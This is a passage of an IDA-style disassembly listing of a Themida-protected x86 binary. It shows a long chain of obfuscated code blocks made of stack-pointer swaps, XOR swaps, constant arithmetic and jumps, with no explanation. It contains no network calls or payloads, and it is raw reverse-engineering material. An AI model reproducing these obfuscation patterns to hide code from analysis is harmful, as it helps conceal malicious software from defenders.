		xor	[esp+34h+var_36+2], eax
		jmp	loc_56225F
; ---------------------------------------------------------------------------


loc_565348:				; CODE XREF: sub_56E5D5+24j
		add	ebp, 4
		push	edx
		jmp	loc_571DE5
; ---------------------------------------------------------------------------


loc_565354:				; CODE XREF: sub_55EDA7+24E6j
		mov	ebp, esp
		jmp	loc_563E52
; ---------------------------------------------------------------------------


loc_56535B:				; CODE XREF: sub_55EDA7+F806j
		sub	[esp+14h+var_12+2], 1F2D05D5h
		sub	[esp+14h+var_12+2], eax
		push	edi
		mov	edi, 1F2D05D5h
		add	[esp+18h+var_12+2], edi
		pop	edi
		pop	eax
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_565378:				; CODE XREF: sub_55EDA7+4692j
		add	dh, 0DEh
		sub	al, dh
		pop	edx
		mov	bx, word ptr [esp-8+arg_4]
		push	108Eh
		jmp	loc_56ABA3
; ---------------------------------------------------------------------------


loc_56538C:				; CODE XREF: sub_55EDA7+AFBDj
		push	527Dh
		mov	[esp+0], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		pop	esp
		jmp	loc_55E3BA
; ---------------------------------------------------------------------------


loc_5653AE:				; CODE XREF: sub_55EDA7+10FA2j
		mov	ecx, 38DD782Fh
		push	ecx
		jmp	loc_561EBF
; ---------------------------------------------------------------------------


loc_5653B9:				; CODE XREF: sub_55EDA7+103B4j
		not	edx
		inc	edx
		jmp	loc_5615D6
; ---------------------------------------------------------------------------


loc_5653C1:				; CODE XREF: sub_55EDA7+6DF4j
		mov	eax, 3D5003ABh
		or	eax, 364A5A16h
		xor	eax, 21D6569Dh
		xor	eax, 4D3569BFh
		and	ebx, eax
		pop	eax
		xor	ebx, 40B5259Fh
		dec	ebx
		jmp	loc_568D53
; ---------------------------------------------------------------------------


loc_5653E4:				; CODE XREF: sub_55EDA7+13B79j
		mov	ax, word ptr [esp-4+arg_0]
		push	19E8h
		mov	[esp+0], ebx
		push	3C02h
		sub	esp, 4
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		pop	[esp+8+var_8]
		add	[esp+4+var_4], 4
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		push	eax
		jmp	loc_561EF6
; ---------------------------------------------------------------------------


loc_565415:				; CODE XREF: sub_55EDA7+CCAEj
		add	esp, 4
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp+0]
		jmp	loc_56547C
; ---------------------------------------------------------------------------


loc_56542C:				; CODE XREF: sub_571634+11j
		pop	edx
		add	esi, eax
		sub	esi, 3ACA7E97h
		mov	eax, [esp-4+arg_0]
		push	edi
		jmp	loc_57019E
; ---------------------------------------------------------------------------


loc_56543E:				; CODE XREF: sub_55EDA7+6F39j
		mov	cl, 0E5h
		jmp	loc_569068
; ---------------------------------------------------------------------------


loc_565445:				; CODE XREF: sub_55EDA7+6782j
		pop	edx
		sub	eax, 15B2F3Ch
		add	eax, esi
		add	eax, 15B2F3Ch
		pop	esi
		jmp	loc_56B688
; ---------------------------------------------------------------------------


loc_565458:				; CODE XREF: sub_55EDA7+A94Fj
		mov	[edi+eax*4+1], dh
		pop	edx
		mov	ecx, [esp-0Ch+arg_8]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-8+arg_4]
		jmp	loc_563A7A
; ---------------------------------------------------------------------------


loc_565474:				; CODE XREF: sub_55EDA7+27C7j
		mov	esi, esp
		push	eax
		jmp	loc_572D03
; ---------------------------------------------------------------------------


loc_56547C:				; CODE XREF: sub_55EDA7+6680j
		mov	esp, [esp+0]
		pop	dword ptr [esp+0]
		mov	ebp, [esp-4+arg_0]
		add	esp, 4
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	esi
		sub	esp, 4
		mov	[esp+0], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_563124
; ---------------------------------------------------------------------------


loc_5654A1:				; CODE XREF: sub_55EDA7+1A79j
		pop	esp
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_56401F
; ---------------------------------------------------------------------------


loc_5654B0:				; CODE XREF: sub_55EDA7+A9B4j
		sub	edi, ebx
		pop	ebx
		or	ecx, edi
		pop	edi
		push	ebx
		mov	ebx, 4137767h
		jmp	loc_56E055
; ---------------------------------------------------------------------------


loc_5654C1:				; CODE XREF: sub_55EDA7+3927j
		sub	edi, 4
		xchg	edi, [esp+3Ch+var_3E+2]
		mov	esp, [esp+3Ch+var_3E+2]
		mov	[esp+3Ch+var_3E+2], eax
		mov	eax, 4
		jmp	loc_562011
; ---------------------------------------------------------------------------


loc_5654DA:				; CODE XREF: sub_55EDA7+1690j
		xor	dh, cl
		jmp	loc_56C84C
; ---------------------------------------------------------------------------


loc_5654E1:				; CODE XREF: sub_55EDA7+92F2j
		push	7EC4h
		mov	[esp-0Ah+arg_4+2], eax
		jmp	loc_571968
; ---------------------------------------------------------------------------


loc_5654EE:				; CODE XREF: sub_55EDA7+9E9Cj
		push	eax
		jmp	loc_562901
; ---------------------------------------------------------------------------


loc_5654F4:				; CODE XREF: sub_55EDA7+D191j
		push	eax
		jmp	loc_563EEC
; ---------------------------------------------------------------------------


loc_5654FA:				; CODE XREF: sub_55EDA7+4330j
		or	edx, 4143007h
		neg	edx
		xor	edx, 0C88FB9B3h
		add	edi, edx
		pop	edx
		jmp	loc_5667DC
; ---------------------------------------------------------------------------


loc_565510:				; CODE XREF: sub_55EDA7+DEF8j
		xor	[esp+22h+var_22], eax
		xor	eax, [esp+22h+var_22]
		mov	esp, [esp+22h+var_22]
		mov	[esp+22h+var_22], edx
		jmp	loc_563404
; ---------------------------------------------------------------------------


loc_565521:				; CODE XREF: sub_55EDA7+23E0j
		push	edx
		mov	edx, 10AE5C9Fh
		xor	esi, edx
		jmp	loc_565445
; ---------------------------------------------------------------------------


loc_56552E:				; CODE XREF: sub_55EDA7+D4D3j
		xor	ebx, ecx
		pop	ecx
		xor	ecx, ebx
		pop	ebx
		add	eax, ecx
		pop	ecx
		push	edx
		push	10000h
		mov	edx, [esp+30h+var_32+2]
		jmp	loc_56855A
; ---------------------------------------------------------------------------


loc_565545:				; CODE XREF: sub_55EDA7+CA7Bj
		mov	ecx, edi
		pop	edi
		add	ebp, ecx
		mov	ecx, [esp+2Ch+var_2E+2]
		add	esp, 4
		push	edx
		jmp	loc_561E8D
; ---------------------------------------------------------------------------


loc_565559:				; CODE XREF: sub_55EDA7+10352j
		mov	ebx, 4
		jmp	loc_56B50D
; ---------------------------------------------------------------------------


loc_565563:				; CODE XREF: sub_55EDA7+359Cj
		push	ebp
		jmp	loc_55F632
; ---------------------------------------------------------------------------


loc_565569:				; CODE XREF: sub_55EDA7+525Aj
		pop	esp
		push	ebx
		jmp	loc_56BF7A
; ---------------------------------------------------------------------------


loc_565570:				; CODE XREF: sub_55EDA7+7D1Cj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 2
		xchg	ecx, [esp+28h+var_2A+2]
		pop	esp
		mov	word ptr [esp+24h+var_26+2], ax
		push	ecx
		mov	ch, 28h
		push	eax
		push	ecx
		jmp	loc_567B26
; ---------------------------------------------------------------------------


loc_56558E:				; CODE XREF: sub_55EDA7+3C0Aj
		sub	edx, 0D66D26F7h
		xor	ebx, edx
		pop	edx
		add	eax, ebx
		push	[esp-28h+arg_24]
		jmp	loc_56A82A
; ---------------------------------------------------------------------------


loc_5655A1:				; CODE XREF: sub_55EDA7+6537j
		add	eax, 34CC59D1h
		jmp	loc_56B2CE
; ---------------------------------------------------------------------------


loc_5655AB:				; CODE XREF: sub_55EDA7+10DBFj
		pop	edx
		add	eax, 20836FDBh
		jmp	loc_55FC6C
; ---------------------------------------------------------------------------


loc_5655B6:				; CODE XREF: sub_55EDA7-722j
		pop	ebx
		pop	ecx
		pop	eax


loc_5655B9:				; CODE XREF: sub_55EDA7+102B5j
		push	3504h
		mov	[esp-30h+arg_2C], ebx
		mov	eax, [esp-30h+arg_2C]
		jmp	loc_5716BA
; ---------------------------------------------------------------------------


loc_5655C9:				; CODE XREF: sub_55EDA7+7F82j
		pop	edx
		xchg	eax, [esp-34h+arg_30]
		pop	esp
		mov	ebx, ebp
		push	[esp-38h+arg_34]
		mov	ebp, [esp-34h+arg_30]
		add	esp, 4
		add	esp, 4


loc_5655DF:				; CODE XREF: sub_55EDA7+8DB0j
		sub	esp, 4
		mov	[esp-38h+arg_34], edx
		push	ecx
		mov	ecx, eax
		push	ecx
		push	esi
		mov	esi, 5904F5Ah
		xor	[esp-2Ch+arg_2C], esi
		pop	esi
		mov	edx, [esp-30h+arg_2C]
		add	esp, 4
		xor	edx, 5904F5Ah
		jmp	loc_56E92B
; ---------------------------------------------------------------------------


loc_565605:				; CODE XREF: sub_55EDA7+68C7j
		mov	ebp, [esp-34h+arg_30]
		push	215h
		mov	[esp-30h+arg_2C], esi
		push	esp
		pop	esi
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		jmp	loc_56E83A
; ---------------------------------------------------------------------------


loc_565625:				; CODE XREF: sub_55EDA7+1330Fj
		neg	edx
		inc	edx
		jmp	loc_5600D5
; ---------------------------------------------------------------------------


loc_56562D:				; CODE XREF: sub_55EDA7+FF67j
		pop	esi
		jmp	loc_570F2C
; ---------------------------------------------------------------------------


loc_565633:				; CODE XREF: sub_55EDA7+E73Cj
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56563E:				; CODE XREF: sub_56CBDA+3Dj
		pop	esi
		shl	esi, 7
		neg	esi
		add	esi, 6B8AE0BBh
		mov	ecx, esi
		mov	esi, [esp-30h+arg_2C]
		add	esp, 4
		add	ebx, ecx
		pop	ecx
		sub	ebx, 1548187Ch
		jmp	loc_55FCA9
; ---------------------------------------------------------------------------


loc_565660:				; CODE XREF: sub_55EDA7+3FD3j
		mov	edi, [esp+0Eh+var_E]
		add	esp, 4
		xor	ebp, ebx
		pop	ebx
		and	ecx, ebp
		jmp	loc_565605
; ---------------------------------------------------------------------------


loc_565673:				; CODE XREF: sub_55EDA7+63A2j
		mov	[esp+68h+var_68], edi
		add	[esp+68h+var_68], 0FFFFFFFFh
		pop	edi
		jmp	loc_561AD6
; ---------------------------------------------------------------------------


loc_565683:				; CODE XREF: sub_55EDA7+11C5Aj
		mov	bp, di
		pop	edi
		push	edx
		mov	dx, 24FFh
		jmp	loc_56CADF
; ---------------------------------------------------------------------------


loc_565691:				; CODE XREF: sub_55EDA7+391Aj
		pop	ebx
		mov	ecx, [esp+3Ch+var_3E+2]
		add	esp, 4
		jmp	loc_56A60B
; ---------------------------------------------------------------------------


loc_5656A0:				; CODE XREF: sub_55EDA7+99Ej
		mov	bh, ch
		mov	dh, bh
		mov	ebx, [esp-14h+arg_10]
		add	esp, 4
		mov	ecx, [esp-18h+arg_14]
		add	esp, 4
		push	ebx
		jmp	loc_560DE1
; ---------------------------------------------------------------------------


loc_5656B9:				; CODE XREF: sub_55EDA7+32C4j
		sub	ebx, 2AA02A7Bh
		add	ebx, 574E3B41h
		mov	esi, [esp+16h+var_16]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+1Ah+var_1A]
		pop	esp
		jmp	loc_56A5CE
; ---------------------------------------------------------------------------


loc_5656E0:				; DATA XREF: Themida_:0055DF20o
		lodsd
		xor	eax, ebx
		sub	esp, 4
		mov	[esp+1Ah+var_1A], esi
		push	eax
		mov	eax, 7092578Ch
		jmp	loc_56B6B3
; ---------------------------------------------------------------------------


loc_5656F4:				; CODE XREF: sub_55EDA7+E81Fj
		sub	edi, eax
		pop	eax
		sub	edi, 0CDA7ACDAh
		or	edi, 0E3A40C6h
		neg	edi
		sub	esp, 4
		mov	[esp+1Eh+var_1E], ebp
		mov	ebp, 647A462Dh
		sub	edi, ebp
		pop	ebp
		jmp	loc_560A48
; ---------------------------------------------------------------------------


loc_56571B:				; CODE XREF: sub_55EDA7+3023j
		add	ebx, esi
		jmp	loc_56BC64
; ---------------------------------------------------------------------------


loc_565722:				; CODE XREF: sub_55EDA7+2A28j
		push	0B64h
		mov	[esp+14h+var_16+2], ecx
		mov	ecx, 0F97AA4A7h
		jmp	loc_565D9A
; ---------------------------------------------------------------------------


loc_565734:				; CODE XREF: sub_55EDA7+3C94j
		sub	ebp, 404A2331h
		jmp	loc_564D82
; ---------------------------------------------------------------------------


loc_56573F:				; CODE XREF: sub_55EDA7+122E3j
		xor	ebp, 43C25EBBh
		and	ebp, 76B716C9h
		push	esi
		jmp	loc_570915
; ---------------------------------------------------------------------------


loc_565751:				; CODE XREF: Themida_:00571C72j
		add	ecx, ebx
		pop	ebx
		jmp	loc_565301
; ---------------------------------------------------------------------------


loc_565759:				; CODE XREF: sub_55EDA7+B341j
		sub	ebx, 93271D3h
		add	ebx, esi
		add	ebx, 93271D3h
		sub	ebx, 5A85767Eh
		pop	esi
		jmp	loc_56DEF1
; ---------------------------------------------------------------------------


loc_565773:				; CODE XREF: sub_55EDA7+A82Fj
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_565778:				; CODE XREF: sub_55EDA7+11BCDj
		shl	ecx, 5
		dec	ecx
		not	ecx
		push	ecx
		jmp	loc_563C2A
; ---------------------------------------------------------------------------


loc_565784:				; CODE XREF: sub_55EDA7+41Aj
		mov	eax, 1
		mov	esi, eax
		mov	eax, [esp+14h+var_16+2]
		add	esp, 4
		and	eax, esi
		push	[esp+10h+var_12+2]
		pop	esi
		push	31D0h
		mov	[esp+14h+var_16+2], edi
		push	2AD3h
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], esp
		add	[esp+1Ch+var_1E+2], 4
		pop	[esp+1Ch+var_1E+2]
		add	[esp+18h+var_1A+2], 4
		pop	edi
		jmp	loc_55EAF9
; ---------------------------------------------------------------------------


loc_5657C1:				; CODE XREF: sub_55EDA7+C98j
		push	esp
		pop	eax
		push	edi
		push	esi
		mov	esi, 696D6889h
		sub	esi, 7F9F5E15h
		neg	esi
		push	5D87h
		mov	[esp-4+arg_0], eax
		mov	eax, 283858B1h
		or	eax, 21CF1773h
		or	eax, 29F61C77h
		jmp	loc_571B1B
; ---------------------------------------------------------------------------


loc_5657EE:				; CODE XREF: sub_55EDA7+AD35j
		shl	ebx, 1
		shl	ebx, 8
		sub	ebx, 8266CA01h
		mov	ecx, ebx
		mov	ebx, [esp-4+arg_0]
		jmp	loc_563771
; ---------------------------------------------------------------------------


loc_565803:				; CODE XREF: sub_55EDA7-BEj
					; sub_55EDA7+2C9j ...
		push	[esp-0Ch+arg_8]
		pop	ebx
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_5701CC
; ---------------------------------------------------------------------------


loc_565815:				; CODE XREF: sub_5718DF+3j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-8+arg_4]
		jmp	loc_55E9AA
; ---------------------------------------------------------------------------


loc_565826:				; CODE XREF: sub_55EDA7+1BDAj
		xor	esi, 7E40E384h
		jmp	loc_56670C
; ---------------------------------------------------------------------------


loc_565831:				; CODE XREF: sub_55EDA7+C907j
		dec	ecx
		jmp	loc_571B67
; ---------------------------------------------------------------------------


loc_565837:				; CODE XREF: sub_55EDA7-295j
		add	ebp, 5FB41915h
		neg	ebp
		xchg	ecx, ebp
		not	ecx
		xchg	ecx, ebp
		jmp	loc_56C856
; ---------------------------------------------------------------------------


loc_56584A:				; CODE XREF: sub_55EDA7+49E8j
		mov	ebp, 4
		sub	edx, 309B5225h
		jmp	loc_55FA44
; ---------------------------------------------------------------------------


loc_56585A:				; CODE XREF: sub_55EDA7+7369j
		push	840h
		mov	[esp-0Ch+arg_8], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-0Ch+arg_8]
		pop	esp
		jmp	loc_57127D
; ---------------------------------------------------------------------------


loc_565876:				; CODE XREF: Themida_:0056F835j
		pop	ecx
		jmp	loc_564E4E
; ---------------------------------------------------------------------------


loc_56587C:				; CODE XREF: sub_55EDA7+13DBCj
		add	esp, 4
		push	edx
		mov	edx, 38D77EE5h
		add	edx, 0C728811Fh
		add	esi, edx
		push	[esp-14h+arg_10]
		jmp	loc_56A2BE
; ---------------------------------------------------------------------------


loc_565895:				; CODE XREF: sub_55EDA7+595Cj
		shl	ebp, 5
		add	ebp, 0FB7A66E9h
		xor	edx, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		push	ecx
		mov	ecx, 23912EEBh
		add	edx, 23E7110h
		add	edx, ecx
		sub	edx, 23E7110h
		pop	ecx
		jmp	sub_55E703
; ---------------------------------------------------------------------------


loc_5658C0:				; CODE XREF: sub_55EDA7+13A4Fj
		add	ebx, ebp
		mov	ebp, [esp-4+arg_0]
		jmp	loc_571D01
; ---------------------------------------------------------------------------


loc_5658CA:				; CODE XREF: sub_55EDA7+F650j
		xchg	eax, [esp-4+arg_0]
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_56F3B6
; ---------------------------------------------------------------------------


loc_5658D6:				; CODE XREF: sub_55EDA7+64BAj
		mov	[esp-20h+arg_1C], ebx
		push	esp
		jmp	loc_562E5B
; ---------------------------------------------------------------------------


loc_5658DF:				; CODE XREF: sub_55EDA7+FC9j
		sub	eax, 0BEC301Ah
		sub	eax, edx
		jmp	loc_568950
; ---------------------------------------------------------------------------


loc_5658EB:				; CODE XREF: sub_55EDA7+11B8Aj
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-24h+arg_20]
		jmp	loc_56E782
; ---------------------------------------------------------------------------


loc_565900:				; CODE XREF: sub_55EDA7+1C9Cj
		mov	esi, 4
		add	edi, esi
		pop	esi
		xor	edi, [esp-18h+arg_14]
		xor	[esp-18h+arg_14], edi
		xor	edi, [esp-18h+arg_14]
		mov	esp, [esp-18h+arg_14]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-14h+arg_10]
		pop	esp
		mov	eax, [esp-18h+arg_14]
		add	esp, 4
		jmp	loc_5611EE
; ---------------------------------------------------------------------------


loc_565932:				; CODE XREF: sub_55EDA7+72E6j
		push	edx
		mov	edx, 4
		add	ebx, 28EF53E9h
		jmp	loc_561164
; ---------------------------------------------------------------------------


loc_565943:				; CODE XREF: sub_55EDA7+DDCBj
		add	ecx, 4
		xchg	ecx, [esp-18h+arg_14]
		pop	esp
		push	ebp
		mov	ebp, 1
		add	ecx, 66B16A9Dh
		jmp	loc_55E23B
; ---------------------------------------------------------------------------
		neg	word ptr [esp-18h+arg_14]
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_565968:				; CODE XREF: sub_55EDA7+B681j
		add	edi, 4
		xchg	edi, [esp-14h+arg_10]
		pop	esp
		sub	edi, 4
		xchg	edi, [esp-18h+arg_14]
		mov	esp, [esp-18h+arg_14]
		mov	[esp-18h+arg_14], esi
		jmp	loc_56A712
; ---------------------------------------------------------------------------


loc_565986:				; CODE XREF: sub_55EDA7+B7EEj
		xchg	esi, [esp-18h+arg_14]
		pop	esp
		sub	edx, 4BF10E61h
		jmp	loc_56CA3A
; ---------------------------------------------------------------------------


loc_565995:				; CODE XREF: sub_55EDA7+B5C2j
		sub	edx, 4CF97FC2h
		sub	edx, ebp
		add	edx, 4CF97FC2h
		pop	ebp
		push	[esp-20h+arg_1C]
		jmp	loc_565A8E
; ---------------------------------------------------------------------------


loc_5659AC:				; CODE XREF: sub_55EDA7+48F3j
		mov	[esp-30h+arg_2C], edi
		jmp	loc_56F1DF
; ---------------------------------------------------------------------------


loc_5659B4:				; CODE XREF: sub_55EDA7+F953j
		pop	edx
		add	ecx, esi
		mov	esi, [esp-34h+arg_30]
		add	esp, 4
		push	eax
		jmp	loc_567B3F
; ---------------------------------------------------------------------------


loc_5659C3:				; CODE XREF: sub_55EDA7+E75j
		mov	[esp+0], ebx
		push	ebp
		push	137B2B28h
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		or	ebp, 67AB49C4h
		shl	ebp, 5
		jmp	loc_57043B
; ---------------------------------------------------------------------------


loc_5659E3:				; CODE XREF: sub_55EDA7+DB50j
		add	[esp+4+var_4], eax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5659EC:				; CODE XREF: sub_55EDA7+1202Fj
		push	esi
		not	[esp+0Ch+var_E+2]
		mov	esi, [esp+0Ch+var_E+2]
		add	esp, 4
		xchg	esi, edx
		xor	edx, 7F9B12F6h
		add	ebx, 18C61C9h
		add	ebx, 57DA76A1h
		jmp	loc_565D1C
; ---------------------------------------------------------------------------


loc_565A0F:				; CODE XREF: sub_55EDA7+13274j
		not	dh
		shl	dh, 4
		shr	dh, 8
		add	dh, 0EAh
		mov	bh, 0FFh
		xor	bh, dh
		pop	edx
		mov	dl, bh
		pop	ebx
		sub	al, dl
		pop	dx
		add	al, 64h
		sub	al, bl
		sub	al, 64h
		sub	esp, 2
		mov	word ptr [esp+2+var_4+2], cx
		jmp	loc_56AAC6
; ---------------------------------------------------------------------------


loc_565A38:				; CODE XREF: sub_55EDA7+1618j
		add	al, ch
		pop	ecx
		add	al, dh
		sub	al, 6Ch
		jmp	loc_56D75D
; ---------------------------------------------------------------------------


loc_565A44:				; CODE XREF: sub_55EDA7+FA39j
		xor	ebx, 0AB4DAC7Ah
		jmp	loc_56A0BA
; ---------------------------------------------------------------------------


loc_565A4F:				; CODE XREF: sub_56C469+Ej
		push	eax
		push	[esp-0Ch+arg_C]
		mov	eax, [esp-8+arg_4]
		push	edi
		mov	edi, esp
		jmp	loc_56D741
; ---------------------------------------------------------------------------


loc_565A5F:				; CODE XREF: sub_55EDA7+129F1j
		add	ecx, 0B196CE16h
		jmp	loc_55F74A
; ---------------------------------------------------------------------------


loc_565A6A:				; CODE XREF: sub_55EDA7+9ABBj
		push	eax
		push	ebx
		mov	ebx, 4
		jmp	loc_56F1F2
; ---------------------------------------------------------------------------


loc_565A76:				; CODE XREF: sub_55EDA7+8EF9j
		pop	edi
		pop	dword ptr [esp+0]
		pop	esp
		xor	ebx, ecx
		xor	ecx, ebx
		xor	ebx, ecx
		push	0
		sub	[esp-4+arg_0], ecx
		jmp	loc_56A68C
; ---------------------------------------------------------------------------


loc_565A8E:				; CODE XREF: sub_55EDA7+6C00j
		pop	edi
		jmp	sub_56CC71
; ---------------------------------------------------------------------------


loc_565A94:				; CODE XREF: sub_55EDA7+4F8Dj
		mov	ebp, 5EA61B75h
		jmp	loc_56D48A
; ---------------------------------------------------------------------------


loc_565A9E:				; CODE XREF: sub_55EDA7+F2C0j
		sub	esp, 4
		jmp	loc_571CDF
; ---------------------------------------------------------------------------


loc_565AA9:				; CODE XREF: Themida_:00571DAAj
		add	esp, 4
		sub	esp, 4
		mov	[esp+1Eh+var_1E], esi
		sub	esp, 4
		mov	[esp+22h+var_22], esp
		add	[esp+22h+var_22], 4
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+1Eh+var_1E]
		mov	esp, [esp+1Eh+var_1E]
		push	eax
		sub	esp, 4
		mov	[esp+26h+var_26], ebx
		push	7B8Eh
		mov	[esp+2Ah+var_2A], edx
		mov	edx, 5E1DF2h
		jmp	loc_560E88
; ---------------------------------------------------------------------------


loc_565AEE:				; CODE XREF: sub_55EDA7+A131j
		push	3A93h
		mov	[esp+2Eh+var_2E], esi
		mov	esi, esp
		push	ecx
		push	ebx
		jmp	loc_56F88C
; ---------------------------------------------------------------------------


loc_565AFF:				; CODE XREF: sub_55EDA7+1293Fj
		sub	edi, 5BF9A267h
		push	4CF3h
		jmp	loc_562A40
; ---------------------------------------------------------------------------


loc_565B0F:				; CODE XREF: sub_55EDA7+F35Ej
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+3Ah+var_3A]
		pop	esp
		add	esp, 4
		pop	[esp+32h+var_32]
		jmp	loc_566974
; ---------------------------------------------------------------------------


loc_565B2A:				; CODE XREF: sub_55EDA7+9254j
		add	edx, edi
		pop	edi
		sub	edx, 4
		jmp	loc_5713E0
; ---------------------------------------------------------------------------


loc_565B35:				; CODE XREF: sub_55EDA7+84E0j
		mov	[esp+2Ah+var_2A], eax
		jmp	loc_564A44
; ---------------------------------------------------------------------------


loc_565B3D:				; CODE XREF: sub_55EDA7+12FAAj
		mov	esi, 6F69478Bh
		shr	esi, 8
		shl	esi, 5
		jmp	loc_5676F6
; ---------------------------------------------------------------------------


loc_565B4D:				; CODE XREF: sub_56CC1C+1j
		push	2C6A46E4h
		push	[esp+2Eh+var_2E]
		mov	ebp, [esp+32h+var_32]
		add	esp, 4
		add	esp, 4
		and	ebp, 1CD74819h
		push	0
		jmp	loc_5608B1
; ---------------------------------------------------------------------------


loc_565B71:				; CODE XREF: sub_55EDA7+628Ej
		sub	ecx, edi
		pop	edi
		jmp	sub_570C58
; ---------------------------------------------------------------------------


loc_565B79:				; CODE XREF: Themida_:0056F2EFj
		sub	esi, edx
		jmp	loc_56B152
; ---------------------------------------------------------------------------


loc_565B80:				; CODE XREF: sub_55EDA7+2A7Aj
		mov	edx, 353A6E1Fh
		add	eax, edx
		pop	edx
		add	eax, ecx
		jmp	loc_568EDD
; ---------------------------------------------------------------------------


loc_565B8F:				; CODE XREF: sub_55EDA7+10FF3j
		push	esi
		mov	esi, 7FFE236Ah
		jmp	loc_564371
; ---------------------------------------------------------------------------


loc_565B9A:				; CODE XREF: sub_55EDA7+34F2j
		push	eax
		jmp	loc_5653C1
; ---------------------------------------------------------------------------


loc_565BA0:				; CODE XREF: sub_55EDA7+EB61j
		add	esp, 4
		push	0B9Ah
		mov	[esp+12h+var_12], edi
		push	esp
		pop	edi
		push	edx
		mov	edx, 4
		add	edi, edx
		jmp	loc_560FD4
; ---------------------------------------------------------------------------


loc_565BBD:				; CODE XREF: sub_55EDA7+7BB9j
		mov	[esp+16h+var_16], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		push	ecx
		push	[esp+1Ah+var_16]
		pop	ecx
		pop	[esp+1Ah+var_1A]
		pop	esp
		push	1A6Bh
		mov	[esp+16h+var_16], ebx
		mov	ebx, 7B057943h
		push	ecx
		jmp	loc_55EF29
; ---------------------------------------------------------------------------


loc_565BEE:				; CODE XREF: sub_55EDA7+BBBEj
		pop	ebp
		jmp	loc_56B84A
; ---------------------------------------------------------------------------


loc_565BF4:				; CODE XREF: sub_55EDA7+7AACj
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		xor	esi, [esp+16h+var_16]
		xor	[esp+16h+var_16], esi
		jmp	loc_57028C
; ---------------------------------------------------------------------------


loc_565C08:				; CODE XREF: sub_55EDA7+EF83j
		pop	esi
		xchg	ebx, [esp+12h+var_12]
		pop	esp
		jmp	loc_562BB2
; ---------------------------------------------------------------------------


loc_565C12:				; CODE XREF: sub_55EDA7+C3C9j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	[esp+12h+var_E]
		pop	ecx
		pop	[esp+12h+var_12]
		jmp	loc_564992
; ---------------------------------------------------------------------------


loc_565C2B:				; CODE XREF: sub_55EDA7+74BEj
		add	ebx, ebp
		pop	ebp
		add	edi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+0], ebp
		push	esi
		jmp	loc_567E1D
; ---------------------------------------------------------------------------


loc_565C3D:				; CODE XREF: sub_55EDA7+56FEj
		push	[esp+14h+var_16+2]
		pop	ecx
		add	esp, 4
		push	5FBFh
		mov	[esp+14h+var_16+2], ecx
		jmp	loc_568C15
; ---------------------------------------------------------------------------


loc_565C51:				; CODE XREF: sub_55EDA7+C057j
		and	eax, edi
		push	[esp+14h+var_16+2]
		mov	edi, [esp+18h+var_1A+2]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+1Ch+var_1E+2]
		pop	esp
		jmp	loc_55FE5D
; ---------------------------------------------------------------------------


loc_565C6E:				; CODE XREF: sub_55EDA7+F236j
		xor	ebp, [esp+18h+var_1A+2]
		pop	esp
		jmp	loc_567B2F
; ---------------------------------------------------------------------------


loc_565C77:				; CODE XREF: sub_55EDA7+88E6j
		add	al, 0F2h
		sub	al, 84h
		mov	bx, word ptr [esp+14h+var_16+2]
		add	esp, 2
		push	small 24CCh
		mov	word ptr [esp+12h+var_12], dx
		sub	esp, 4
		mov	[esp+16h+var_16], ecx
		mov	ch, 8Eh
		mov	dl, 0BCh
		xor	dl, ch
		pop	ecx
		add	al, 0ADh
		push	2E15h
		mov	[esp+16h+var_16], edx
		jmp	loc_571E37
; ---------------------------------------------------------------------------


loc_565CA9:				; CODE XREF: sub_55EDA7+41F9j
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		xchg	eax, [esp+8+var_8]
		pop	esp
		jmp	loc_56DEA2
; ---------------------------------------------------------------------------


loc_565CC0:				; CODE XREF: sub_571297+7j
		mov	[esp+4+var_4], edi
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		jmp	loc_560D6D
; ---------------------------------------------------------------------------


loc_565CD1:				; CODE XREF: sub_55EDA7+B243j
		add	edi, 4
		xchg	edi, [esp+0Ch+var_E+2]
		pop	esp
		push	2370h
		mov	[esp+0Ch+var_E+2], ecx
		jmp	loc_56543E
; ---------------------------------------------------------------------------


loc_565CE5:				; CODE XREF: sub_55EDA7+13307j
		push	28EA02A7h
		pop	ebp
		not	ebp
		jmp	loc_56612C
; ---------------------------------------------------------------------------


loc_565CF2:				; CODE XREF: sub_55EDA7+1011Aj
		add	esi, 4
